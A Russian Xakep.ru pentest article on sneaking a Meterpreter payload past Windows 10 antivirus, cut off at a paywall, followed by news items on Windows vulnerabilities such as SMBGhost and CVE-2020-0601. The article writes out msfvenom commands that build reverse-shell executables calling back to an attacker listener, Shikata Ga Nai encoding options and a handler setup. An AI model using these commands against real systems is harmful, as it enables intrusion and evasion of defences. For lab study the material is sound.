- Скрытая нагрузка. Обходим антивирус и загружаем Meterpreter из памяти в Windows 10
- Содержание статьи
- Shikata Ga Nai
- Определение проблемы
- Запуск Meterpreter из памяти
- Продолжение доступно только участникам
- Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
- Вариант 2. Открой один материал
- Denis Simonov
- Для «червеобразной» уязвимости в Windows 10 опубликован PoC-эксплоит
- В свежей Windows 10 уже обнаружена уязвимость нулевого дня
- Уязвимость CVE-2020-0601, компрометирующая инфраструктуру открытых ключей ОС Windows
- Microsoft закрыла три уязвимости нулевого дня в Windows в апрельском пакете обновлений безопасности
Скрытая нагрузка. Обходим антивирус и загружаем Meterpreter из памяти в Windows 10
Содержание статьи
Meterpreter — это расширенная многофункциональная нагрузка (payload), которая используется в Metasploit Framework как унифицированная основа для постэксплуатации. По сути — прокачанная альтернатива классическим шелл‑кодам. Это отличный инструмент в арсенале любого пентестера, но он настолько популярен, что его сигнатуры есть в базах любого защитного ПО, будь то Windows 10, антивирус или даже Google Chrome.
Shikata Ga Nai
Одна из основных техник Metasploit — это схема кодирования полезной нагрузки Shikata Ga Nai (название переводится с японского как «ничего не поделаешь»). Работает она за счет SGN, уникального «полиморфного аддитивного энкодера XOR». Благодаря ему каждый раз, когда ты кодируешь шелл‑код, это будет происходить по‑другому, от чего нагрузка становится для антивируса безопасной на вид.
В SGN реализованы: динамическая замена команд, динамическое упорядочение блоков, случайный обмен регистрами, рандомизация порядка команд, вставка ненужного кода, использование случайного ключа и рандомизация расстояния между командами.
При всех плюсах техника кодирования Shikata Ga Nai не всегда бывает эффективной на последних версиях Windows.
Подробнее о Shikata Ga Nai читай в публикации Ника Хоффмана, Джереми Хамбла и Тоби Тейлора.
Определение проблемы
Давай проверим Shikata Ga Nai на практике и узнаем, действительно ли его популярность привела к тому, что SGN отлавливают антивирусы. В качестве жертвы я буду использовать свой ноутбук с последней версией Windows 10 со всеми установленными обновлениями (Build 19042).
Генерировать шелл‑код я буду с помощью MSFvenom. В качестве слушателя выступит Kali Linux 2020.4 последней версии с установленным Metasploit 6.0.18-dev.
Для начала сгенерируем стандартную нагрузку без SGN:
$ msfvenom -p windows/ meterpreter/ reverse_tcp LHOST=10. 10. 0. 180 LPORT=4433 -f exe > clean_shell. exe
.
Payload size: 354 bytes
Final size of exe file: 73802 bytes
На Kali поднимем handler. На интерфейсе eth1 IP-адрес 10. 10. 0. 180 :
$ msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost eth1
set lport 4433
Пробуем для начала передать файл, скачав его с помощью Google Chrome. Для этого поднимаю HTTP-сервер с помощью модуля для второй версии Python:
Пробую скачать наш шелл по адресу http:// 10. 10. 0. 180: 8000/ clean_shell. exe .
Очевидно, что файл заблокировал Google Chrome
Давай попробуем открыть файл. На этой машине с Windows 10 у меня установлена подсистема Linux (WSL). Скачаем этот файл в терминале с помощью wget и попробуем запустить.
При попытке открыть нас ждет предупреждение и файл удаляется
Файл Meterpreter был удален даже без обращения к нему. Нужно лишь скачать и подождать около минуты. Какая внимательная Windows! 🙂
Автоматическое удаление файла с Meterpreter
Тем временем на машине с Kali тишина и слышен звук сверчков. Попробуем теперь технику кодирования Shikata Ga Nai. Создаем новый пейлоад в MSFvenom. На машине с Kali по‑прежнему висит в ожидании handler.
Добавим к опциям -e x86/ shikata_ga_nai -b ‘\ x00’ -i 20 , то есть используем SGN в 20 итераций с удалением плохого символа \ x00 .
$ msfvenom -p windows/ meterpreter/ reverse_tcp LHOST=10. 10. 0. 180 LPORT=4433 -e x86/ shikata_ga_nai -b \ x00 -i 20 -f exe > sgn_20_shell. exe
.
Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
.
x86/shikata_ga_nai succeeded with size 894 (iteration=19)
x86/shikata_ga_nai chosen with final size 894
Payload size: 894 bytes
Final size of exe file: 73802 bytes
Пробуем загрузить с помощью Google Chrome: http://10.10.0.180:8000/sgn_20_shell.exe.
SGN не помог обойти антивирус
Снова неудача. После скачивания с помощью Wget и запуска нас ждет такая же история, как и в прошлый раз, — с последующим удалением вредоноса. Какой можно сделать вывод? Правильно, на новых версиях Windows 10 Shikata Ga Nai бесполезен.
C сентября 2020 года компания Google ввела Advanced Protection Program для высокорисковых пользователей, таких как политики и журналисты. Загружаемые участниками этой программы файлы могут сначала пройти проверку на серверах Google, а лишь потом попасть к пользователю.
Так происходит потому, что при запуске исполняемого файла и перед загрузкой его в память система пытается найти сигнатуры, принадлежащие вредоносному ПО. В нашем случае такие сигнатуры были найдены и обнаружены. Поэтому Windows 10 не разрешила запуск. Даже SGN не помог. Сам по себе полиморфизм в нем неплох, но слепок стаба этого энкодера уже давно изучен.
Запуск Meterpreter из памяти
Очевидное решение — уход в сторону выполнения Meterpreter из памяти работающего процесса. Возможно, нам удастся обойти не только статический анализ, но и динамический анализ защитника Windows Defender.
Для выполнения программы из памяти я буду использовать Python. Известен способ запуска обратного шелла Python с последующей компиляцией скрипта в единый исполняемый файл модулем py2exe. Безусловно, вариант рабочий, хотя, как отмечает автор статьи по ссылке, питоновский шелл в Windows не позволяет делать некоторые вещи. Всегда есть возможность проапгрейдить Meterpreter прямо в сессии (post-модуль shell_to_meterpreter ). Однако это не всегда удобно, и этот способ можно улучшить.
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Denis Simonov
Пентестер и дизайнер. Занимаюсь проблемами моделирования времени в виртуальных мирах.
Для «червеобразной» уязвимости в Windows 10 опубликован PoC-эксплоит
PoC-эксплоит позволяет повысить привилегии до уровня системы.
Специалисты компании ZecOps продемонстрировали , что уязвимость SMBGhost (CVE-2020-0796) может эксплуатироваться локальным атакующим для повышения своих привилегий на уязвимой системе.
Уязвимость в SMBv3 затрагивает Windows 10 и Windows Server 1903 и 1909. Компания Microsoft исправила ее 12 марта нынешнего года с помощью внепланового обновления безопасности KB4551762. Уязвимость является «червеобразной» и может эксплуатироваться для повышения привилегий на атакуемой системе. Для осуществления атаки на SMB-сервер злоумышленник должен отправить особым образом сконфигурированные пакеты. Для атаки на SMB-клиент атакующий должен заставить жертву подключиться к вредоносному SMB-серверу.
Исследователи уже публиковали PoC-эксплоиты для уязвимости, однако с их помощью можно только вызвать отказ в обслуживании атакуемой системы. PoC-эксплоитов для удаленного выполнения кода пока нет, однако исследователи из ZecOps представили PoC-эксплоит, позволяющий локально повысить свои привилегии до уровня системы.
Исследователи безопасности Даниэль Гарсиа Гутьеррес (Daniel García Gutiérrez) и Мануэль Бланко Параджон (Manuel Blanco Parajón) также опубликовали PoC-эксплоит, позволяющий повысить привилегии до уровня системы.
В свежей Windows 10 уже обнаружена уязвимость нулевого дня
Независимая ИБ-исследовательница под ником SandboxEscaper опубликовала эксплойт к актуальной версии Windows 10. Уязвимость Планировщика заданий (Task Scheduler) позволяет взломщику получить дополнительные права в системе и открыть файлы с уровнем доступа SYSTEM.
Новость появилась практически одновременно с выпуском очередного пакета обновлений Windows 10. Эксперты CERT/CC подтвердили работоспособность эксплойта на 64- и 32-битных версиях систем с последними патчами, а также Windows Server 2016 и 2019. Пользователей Windows 7 и 8 угроза не коснулась.
Проблема оказалась связана с обратной совместимостью Планировщика заданий, конкретно — с механизмом обработки задач в формате JOB, который использовался еще в Windows XP. Эти файлы разграничивают права пользователей через так называемые списки избирательного управления доступом (discretionary access control lists, DACL). Как выяснилось, в отсутствие этих элементов система снимает ограничения, позволяя любому пользователю работать с данными.
За последний год это уже пятый эксплойт за авторством SandboxEscaper. В августе 2018 года она опубликовала еще одну уязвимость Task Scheduler — ошибка интерфейса ALPC позволяла обычному пользователю получить администраторские привилегии. Далее, в октябре, девушка продемонстировала способ подменять легитимные DLL-библиотеки приложений на скомпрометированные. Третий и четвертый эксплойты, позволявшие читать любые файлы и переписывать данные в уязвимой системе, были опубликованы в декабре.
По словам SandboxEscaper, она обнаружила еще три 0-day для несанкционированного повышения прав и одну уязвимость для выхода из песочницы. Эти баги предлагаются к продаже любым «не-западным» заказчикам. Стоимость каждой бреши — 60 тыс. в неназванной валюте.
Уязвимость CVE-2020-0601, компрометирующая инфраструктуру открытых ключей ОС Windows
Обнаруженная уязвимость касается корневой части проверки сертификатов в Windows и делает невозможной проверку легитимности ПО. Это открывает злоумышленникам возможность обхода технологий защиты ОС и части модулей антивирусной защиты. Это многократно повышает риски успешного заражения узлов сети вирусным ПО.
Стало известно о серьезной уязвимости CVE-2020-0601 в интерфейсе CryptoAPI (crypt32.dll) ОС Windows, позволяющей обойти проверку сертификатов в Windows. Эксплуатация уязвимости значительно усложняет задачу по проверке легитимности ПО и делает возможной реализацию атак Man in the Middle на различные системы, использующие CryptoAPI для построения TLS. В результате злоумышленники смогут обходить встроенные технологии защиты ОС, некоторые компоненты различных антивирусов и получать доступ к зашифрованным данным.
Windows CryptoAPI – интерфейс программирования, обеспечивающий разработчиков стандартным набором функций для работы с криптопровайдерами операционной системы. Уязвимость связана с ECC-криптографией (Eliptic Curve Cryptography – метод криптографии, основанный на эллиптических кривых над конечными полями) и заключается в некорректной проверке ECC-сертификата функциями, предоставляемыми интерфейсом CryptoAPI. В результате злоумышленник может создать действительный X.509 сертификат, который система будет принимать за доверенный. Полученный сертификат может использоваться для подписи любых исполняемых файлов, а также для перехвата и модификации трафика от TLS-соединений.
Любое ПО, которое использует для проверки сертификата API функцию CertGetCertificateChain() из CryptoAPI, может некорректно определить надежность данного сертификата.
Уязвимость получила номер CVE-2020-0601. Согласно информации, предоставленной компанией Microsoft, уязвимости подвержены следующие версии ОС Windows:
• Windows 10 for 32-bit Systems
• Windows 10 for x64-based Systems
• Windows 10 Version 1607 for 32-bit Systems
• Windows 10 Version 1703 for 32-bit/x64-based Systems
• Windows 10 Version 1709 for 32-bit/x64-based Systems
• Windows 10 Version 1709 for ARM64-based Systems
• Windows 10 Version 1803 for 32-bit/x64-based Systems
• Windows 10 Version 1803 for ARM64-based Systems
• Windows 10 Version 1809 for 32-bit/x64-based Systems
• Windows 10 Version 1809 for ARM64-based Systems
• Windows 10 Version 1903 for 32-bit/x64-based Systems
• Windows 10 Version 1903 for ARM64-based Systems
• Windows 10 Version 1909 for 32-bit/x64-based Systems
• Windows 10 Version 1909 for ARM64-based Systems
• Windows Server 2016
• Windows Server 2016 (Server Core installation)
• Windows Server 2019
• Windows Server 2019 (Server Core installation)
• Windows Server, version 1803 (Server Core Installation)
• Windows Server, version 1903 (Server Core installation)
• Windows Server, version 1909 (Server Core installation)
Несмотря на то, что компания Microsoft не выявила случаев эксплуатации данной уязвимости, вероятность таких попыток после публикации отчета высока.
Рекомендуем установить необходимые обновления для уязвимых ОС Windows, начиная с узлов на периметре и далее для всей инфраструктуры, согласно принятым в компании процедурам управления уязвимостями.
Microsoft закрыла три уязвимости нулевого дня в Windows в апрельском пакете обновлений безопасности
14 апреля 2020 года компания Microsoft выпустила апрельский пакет обновлений безопасности для Windows 10 версий 1607, 1909, 1903 и 1809, Windows 8.1 и Windows 7, а также Windows Server 2008/2012/2016 и 2019. Этот апрельский комплект патчей безопасности устраняет 113 уязвимостей в одиннадцати программных продуктах компании. Среди них: 15 критических уязвимостей, включая три нулевого дня, 93 серьезные, три со средним уровнем угроз и две уязвимости с низким уровнем влияния на систему. Причем две закрытые уязвимости нулевого дня ранее уже некоторое время эксплуатировались злоумышленниками.
Закрытые в апреле 2020 года специалистами Microsoft уязвимости нулевого дня были обнаружены ранее экспертами по ИБ из Google Project Zero и Threat Analysis Group, это:
- CVE-2020-1020 — уязвимость удаленного исполнения кода в библиотеки шрифтов Windows Adobe Type Manager Library (atmfd.dll), используемую Windows для обработки шрифтов PostScript Type 1. Эксплуатация уязвимости могла производиться злоумышленником удаленно от имени пользователя. Данная проблема затронула все версии пользовательские и серверные версии Windows, кроме Windows 10;
- CVE-2020-0938 — вторая уязвимость, которая также была обнаружена в библиотеке Windows Adobe Type Manager Library, но информация о ней появилась лишь недавно. Вдобавок эксплуатации этой уязвимости препятствовали ранее рекомендованные специалистами Microsoft меры по снижению рисков, такие как отключение Preview Pane и Details Pane, то есть панелей предварительного просмотра и сведений, отключение службы WebClient, а также переименование ATMFD.DLL.;
- CVE-2020-1027 — уязвимость ядра Windows, позволяющая злоумышленникам запускать код с повышенными привилегиями и получить полный доступ к ядру системы.
Microsoft не раскрыла подробную информацию по закрытым уязвимостям, чтобы дать пользователям время на установку патчей и таким образом помешать злоумышленникам использовать их в настоящее время и разработать для них PoC-эксплоиты.
Примечательно, что в марте 2020 года Microsoft в рамках вторника патчей (Patch Tuesday) устранила 115 уязвимостей в Windows, 26 из которых были критическими, а 88 представляли серьезную опасность. Таким образом, в компании внимательно следят за текущей ситуацией в области безопасности своего ПО и стараются прорабатывать все обнаруженные проблемы, а не откладывать их не некоторое время из-за загруженности своих разработчиков, большая часть которых работает удаленно.
Ранее 6 апреля 2020 года стало известно, что Microsoft выкупила домен corp.com по соображениям безопасности, потратив на это достаточно крупную сумму. «Мы призываем клиентов придерживаться мер безопасности при создании внутренних доменных и сетевых имен, чтобы защитить корпоративные сети. Мы выпустили рекомендации по безопасности в июне 2009 года, а также обновление системы безопасности, которое помогает обеспечить безопасность клиентов. В рамках нашей постоянной приверженности обеспечению безопасности клиентов мы также приобрели домен Corp.com», — пояснила Microsoft.
24 марта 2020 года Microsoft сообщила, что в компании решили начиная с мая 2020 года приостановить выпуск всех необязательных обновлений (так называемые обновления C и D), которые не связаны с безопасностью программных продуктов, для всех поддерживаемых в настоящее время клиентских и серверных версий ОС Windows. Таким образом, Microsoft устанавливает максимальный приоритет на безопасности, чтобы в текущей ситуации обеспечить стабильность, надежность и продуктивность всех версий ОС Windows, установленных у пользователей.
20 марта 2020 года Microsoft объявила в своем блоге, что компания приостанавливает разработку стабильной версии нового браузера Edge под номером 81, в связи со сложными текущими проблемами у сотрудников и возникшими «глобальными обстоятельствами».
19 марта 2020 года Microsoft объявила, что продлевает на шесть месяцев дату окончания поддержки ОС Windows 10 версии 1709 для корпоративного и образовательного сегмента (Windows 10 Enterprise, Education и IoT Enterprise). Теперь обновления безопасности для Windows 10 версии 1709 будут выходить до 13 октября 2020 года. Ранее срок окончания поддержки этой версии ОС для корпоративных пользователей и образовательных учреждений был установлен на 14 апреля 2020 года. А с 14 апреля 2020 года стало известно, что Microsoft обновила даты окончания поддержки для Windows 10 версии 1809 и более старых программ и служб. Для Windows 10 версии 1809 последнее обновление выйдет 10 ноября 2020 года вместо 12 мая 2020 года. Также временно приостанавливаются обновления функций для выпусков Home и Pro, работающих на версии 1809. Данная мера принимается для обеспечения стабильной работы организаций во время пандемии коронавируса.
12 марта Microsoft экстренно выпустила патч KB4551762 для Windows 10 версии 1903 и версии 1909, а также Windows Server версии 1903 и версии 1909. Уязвимость CVE-2020-0796 в протоколе сетевой коммуникации Microsoft Server Message Block 3.1.1 (SMBv3) позволяет взломать SMB-сервер и SMB-клиент под управлением Windows 10 версии 1903, Windows Server версии 1903 (установка Server Core), Windows 10 версии 1909 и Windows Server версии 1909 (установка Server Core).